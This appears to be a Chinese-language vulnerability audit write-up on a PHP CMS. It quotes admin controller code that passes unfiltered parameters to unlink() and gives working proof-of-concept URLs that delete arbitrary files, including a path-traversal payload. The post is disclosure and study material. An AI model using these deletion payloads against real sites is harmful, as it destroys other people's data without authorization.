之前看到补天上有人提过这个CMS,就审计了一小下,这次就先找了几处任意文件删除。
1、位置Lib/Lib/Action/Admin/DataAction.class.php,两处
public function del(){
$filename = trim($_GET['id']);
@unlink(DATA_PATH.'_bak/'.$filename);
$this->success($filename.'已经删除!');
}
//删除所有分卷文件
public function delall(){
foreach($_POST['ids'] as $value){
@unlink(DATA_PATH.'_bak/'.$value);
}
$this->success('批量删除分卷文件成功!');
}
未经处理的GET和POST参数直接拼接到路径后,造成文件删除。但实际本地测试发现_bak文件夹默认是不存在的,需要进行备份功能后才能生成。
全局搜索_bak字段,找到一处_bak文件夹的创建,在Lib/Lib/Action/Admin/DataAction.class.php 51行的write_file函数。
public function insert(){
if(empty($_POST['ids'])){
$this->error('请选择需要备份的数据库表!');
}
$filesize = intval($_POST['filesize']);
if ($filesize < 512) {
$this->error('出错了,请为分卷大小设置一个大于512的整数值!');
}
$file = DATA_PATH.'_bak/';
$random = md5(mt_rand(10000, 99999));
$sql = '';
$p = 1;
foreach($_POST['ids'] as $table){
$rs = D(ucfirst(str_replace(C('db_prefix'),'',$table)));
$array = $rs->select();
$sql.= "TRUNCATE TABLE `$table`;\n";
foreach($array as $value){
$sql.= $this->insertsql($table, $value);
if (strlen($sql) >= $filesize*1000) {
$filename = $file.date('Ymd').'_'.$random.'_'.$p.'.sql';
write_file($filename,$sql);
$p++;
$sql='';
}
}
}
if(!empty($sql)){
$filename = $file.date('Ymd').'_'.$random.'_'.$p.'.sql';
write_file($filename,$sql);
}
$this->assign("jumpUrl",'?s=Admin-Data-Show');
$this->success('数据库分卷备份已完成,共分成'.$p.'个sql文件存放!');
}
进入write_file函数,可以看到内部调用了封装了的mkdir方法mkdirss
function write_file($l1, $l2 = '')
{
$dir = dirname($l1);
if (!is_dir($dir)) {
mkdirss($dir);
}
return @file_put_contents($l1, $l2);
}
function mkdirss($dirs, $mode = 0777)
{
if (!is_dir($dirs)) {
mkdirss(dirname($dirs), $mode);
return @mkdir($dirs, $mode);
}
return true;
}
现在构造payload,需要先备份使创建_bak文件夹。这里需要满足strlen($sql) >= $filesize*1000。
备份成功
下面构造文件删除payload,访问http://localhost:8888/4.0.181010/index.php?s=/admin-data-del&id=../../../../../../../../../Users/xx/Desktop/123.txt
另一处原理相同,这里不再测试。
2、位置Lib/Lib/Action/Admin/TplAction.class.php,88
public function del(){
$id = admin_ff_url_repalce(str_replace('*','.',trim($_GET['id'])));
if (!substr(sprintf("%o",fileperms($id)),-3)){
$this->error('无删除权限!');
}
@unlink($id);
if (!empty($_SESSION['tpl_jumpurl'])) {
$this->assign("jumpUrl",$_SESSION['tpl_jumpurl']);
}else{
$this->assign("jumpUrl",'?s=Admin/Tpl/Show');
}
$this->success('删除文件成功!');
}
可以看到id参数没有做过滤,是可以进行任意文件删除的。测试时在桌面上创建123.txt,构造payload为http://localhost:8888/4.0.181010/index.php?s=/admin-tpl-del&id=/Users/xx/Desktop/123.txt
可以看到文件已删除。